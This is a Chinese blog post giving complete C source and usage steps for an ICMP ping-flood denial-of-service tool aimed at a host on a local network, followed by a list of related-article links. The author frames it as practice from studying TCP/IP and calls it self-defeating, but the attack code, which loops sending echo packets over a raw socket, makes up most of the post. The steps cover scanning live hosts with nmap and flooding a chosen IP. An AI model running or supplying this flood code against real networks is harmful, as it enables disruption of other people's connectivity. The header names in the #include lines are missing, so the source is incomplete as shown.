通过不断的ping局域网中的某个主机,可以达到几乎完全占用那个主机网速的效果,但自己的网速也废了,整个局域网的上网基本上也废来。所以这是一种同归于尽的攻击方式,实用性基本上不存在了。之所以做这件事,是因为最近在研读 TCP/IP详解卷一 这本书,所以用代码实现了ping的功能,并且稍加改进成为了ping攻击的代码。

一、开发环境:Red Hat Enterprise Linux 6.0

编译工具:GCC

二、程序流程:

定义相关全局变量(如套接字socket等)-》根据输入参数获取IP地址 -> 不断发ICMP请求回显包

三、程序源码:

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define PACKET_SIZE 4096//缓冲区大小

struct timeval timeout={5,0};//设置socket超时时间5s

fd_set fds;//文件描述符集合,可以监视该集合的描述符

char sendpacket[PACKET_SIZE];//发送缓冲区

char recvpacket[PACKET_SIZE];//接收缓冲区

int sockfd,datalen=56;//套接字

int nsend = 0,nreceived = 0;//发送和接收计数

struct sockaddr_in dest_addr;//目的IP地址

pid_t pid;//进程ID号

struct sockaddr_in from;//源IP地址

struct timeval tvrecv;//时间结构体

unsigned short cal_chksum(unsigned short* addr,int len);//校验和计算函数

int pack(int pack_no);//打包函数

void send_packet(void);//发送包函数

void tv_sub(struct timeval *out,struct timeval *in);//时间计算函数\

unsigned short cal_chksum(unsigned short* addr,int len)

{

int nleft = len;

int sum = 0;

unsigned short* w = addr;

unsigned short answer = 0;

while(nleft>1)

{

sum += *w++;

nleft -= 2;

}

if(nleft == 1)

{

*(unsigned char*)(&answer) = *(unsigned char*)w;

sum += answer;

}

sum = (sum>>16)+(sum&0xffff);

answer=~sum;

return answer;

}

int pack(int pack_no)

{

int i,packsize;

struct icmp* icmp;

struct timeval* tval;

icmp = (struct icmp*)sendpacket;

icmp->icmp_type = ICMP_ECHO;//请求回显报文

icmp->icmp_code = 0;

icmp->icmp_cksum = 0;

icmp->icmp_seq = pack_no;

icmp->icmp_id = pid;

packsize = 8+datalen;

tval = (struct timeval*)icmp->icmp_data;

gettimeofday(tval,NULL);

icmp->icmp_cksum =cal_chksum((unsigned short*)icmp,packsize);

return packsize;

}

void send_packet()

{

int packetsize;

nsend++;

packetsize = pack(nsend);

FD_ZERO(&fds);//清空描述符集fds

FD_SET(sockfd,&fds);//将sockfd加入描述符集

int ret=select(sockfd+1,NULL,&fds,NULL,&timeout);//监控套接字是否可写,若不能写入,则等待timeout时间,超时返回0,可写返回大于0,发生错误返回负值

if(ret<0)

{

perror("Select Error");

}

else if(ret==0)

{

perror("Send Timeout");

}

else

{

if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr))<0)

{

// perror("sendto error");

}

//sleep(1);

if(nsend==0x7fffffff)

nsend=0;

}

}

void tv_sub(struct timeval* out,struct timeval* in)

{

if((out->tv_usec -= in->tv_usec)<0)

{

--out->tv_sec;

out->tv_usec += 1000000;

}

out->tv_sec -= in->tv_sec;

}

int main(int argc,char* argv[])

{

struct hostent *host;

struct protoent* protocol;

unsigned long inaddr = 0l;

int size = 50*1024;

FD_ZERO(&fds);//清空描述符集fds

FD_SET(sockfd,&fds);//将sockfd加入描述符集

if(argc<2)

{

printf("Please input IP address after ./attack\n",argv[0]);

exit(1);

}

if((protocol = getprotobyname("icmp"))==NULL)

{

perror("getprotobyname");

exit(1);

}

if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0)

{

perror("socket error");

exit(1);

}

setuid(getuid());

setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size));//设置接收缓冲区大小

setsockopt(sockfd,SOL_SOCKET,SO_SNDBUF,&size,sizeof(size));//设置发送缓冲区大小

bzero(&dest_addr,sizeof(dest_addr));//初始化填充地址结构体

dest_addr.sin_family = AF_INET;

if(inaddr = inet_addr(argv[1]) == INADDR_NONE)//不能从输入参数1直接获取到IP地址

{

if((host = gethostbyname(argv[1]))==NULL)//从主机名获取IP地址

{

perror("gethostbyname error");

exit(1);

}

memcpy((char*)&dest_addr.sin_addr,host->h_addr,host->h_length);

}

else

dest_addr.sin_addr.s_addr = inet_addr(argv[1]);//直接填充IP地址

while(1)

{

send_packet();

}

return 0;

}

四、攻击过程

第一步:利用nmap工具查看局域网内的活跃IP;

第二步:从第一步可以看出活跃的IP,其中192,168.1.112是我的笔记本,程序运行在台式机上,运行生成的程序myping

第三步:在笔记本上检查效果,发现网页根本打不开,时间长了。操作还有点卡,整个局域网上的机子都是这样,所以说同归于尽嘛!

ping 攻击 Linux,Linux 环境实现ping攻击相关推荐

  1. Linux 实用指令 -- 网络配置(查看网络IP和网关、 ping 测试主机之间网络连通、Linux网络环境配置(指定固定ip))

    文章目录 1. 网络配置 1.1 查看网络IP和网关 1.1.1 查看虚拟网络编辑器 1.1.2 这里可以修改ip地址(修改虚拟网络的ip) 1.1.3 这里可以修改网关(虚拟网络的网关) 1.1.4 ...

  2. linux 局域网内互ping丢包_ping命令还能这么用?

    ping (Packet Internet Groper),因特网包探索器,用于测试网络连接量的程序.Ping发送一个ICMP,回声请求消息给目的地并报告是否收到所希望的ICMP echo (ICMP ...

  3. linux ddos攻击ip,Linux操作系统中实现DDOS攻击的方法

    软件用的是最有名的DDOS,首先说我们用来攻击的客户机和服务器的配置方法,使用当下最有名的REDHATLinux进行测试,本次攻击测试我使用的是FEDORA CORE3. 开始设置服务器: 解压 ta ...

  4. linux的ping命令含义,Linux ping命令详解

    Linux系统的ping命令是常用的网络命令,它通常用来测试与目标主机的连通性 基于IMCP协议 常见命令参数 -q 不显示任何传送封包的信息,只显示最后的结果 -n 只输出数值 -R 记录路由过程 ...

  5. 使用人性化的Linux防火墙CFW阻止DDOS攻击

    CFW (Cyber Firewall) 是一个人性化的 Linux 防火墙.它旨在协助阻止拒绝服务攻击 (DDOS),同时能控制 Linux 系统端口的开关.由于基于 Linux 原生运行,CFW ...

  6. Linux停止ping包,linux开启、禁止ping包

    linux开启ping以及禁止ping Linux默认是允许Ping响应的,系统是否允许Ping由2个因素决定的:A.内核参数,B.防火墙,需要2个因素同时允许才能允许Ping,2个因素有任意一个禁P ...

  7. linux 服务器 iptables 防止arp病毒,Linux下防御ARP病毒攻击

    Linux下防御ARP病毒攻击的类似文章网络上太多了,但效果各有千秋,这里写下我自己的心得. 方法一: 此法比较简单,简言之就是绑定网关的IP和MAC,命令如下: $ sudo arp -s 192. ...

  8. linux检查网络是否通畅_网络基础Ping命令详解(使用Ping这命令来测试网络连通)...

    相关知识点 BIOS 在计算机领域,BIOS是 "Basic Input Output System"的缩略语,译为"基本输入输出系统", 与前者读法相同.计算 ...

  9. [翻译]现代Linux系统上的栈溢出攻击【转】

    转自:http://www.codeweblog.com/%E7%BF%BB%E8%AF%91-%E7%8E%B0%E4%BB%A3linux%E7%B3%BB%E7%BB%9F%E4%B8%8A%E ...

  10. Linux ping命令、Linux kill命令、Linux logname命令、 Linux logout命令

    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家.点击跳转到教程. Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息, ...

最新文章

  1. 连登GitHub TOP榜,中国开发者在行动!
  2. iOS 关于第三方键盘
  3. winserver2008 Oracle 11g 安装
  4. 图像处理(七)导向滤波磨皮
  5. 多进程实现生产者消费者
  6. easyui 如何为标签动态追加属性实现渲染效果
  7. 为什么在2012/2013年我将在新的Enterprise Java项目中继续使用Spring *和* Java EE
  8. 南开大学计算机本科论文,南开大学本科毕业论文设计-南开大学教务处主页.DOC...
  9. java 树同构_有根树的同构 和 无根树的同构
  10. 【报告分享】2020数据治理年度报告:规则的激荡与新生.pdf(附下载链接)
  11. 如何用B表的数据,更新A表的值
  12. 各个版本Word转Pdf时出现有关PDFMaker加载项崩溃或错误的解决方法
  13. 普林斯顿微积分读本小记(未完待续)
  14. CAPL-如何调用外部的可执行程序
  15. 如何将文件PDF格式转换成Word格式
  16. latex加下划线_给latex文字加下划线和高亮显示
  17. 如何使用PDF转换器将PDF转换成图片
  18. meltdown linux检测,Linux操作系统已拥有自动化的Spectre/Meltdown检查器
  19. js中TSC打印机在IE浏览器使用ActiveX控件实现打印
  20. Appium统计iOS或者Android应用的性能

热门文章

  1. python 爬预警没解析前的
  2. HashMap和HashSet的区别
  3. 细说 iOS 消息推送
  4. this computer does not support Intel Virtualization Technology (VT-x) .Haxm can'not be installed
  5. 游戏杆编程心得二:如何判断按钮的有效按下
  6. XP 的共享方案(面对新人)
  7. MySQL常见面试题解析
  8. Spark Streaming VS Flink Streaming
  9. Uva1600 巡逻机器人
  10. 监听服务端口及邮件报警脚本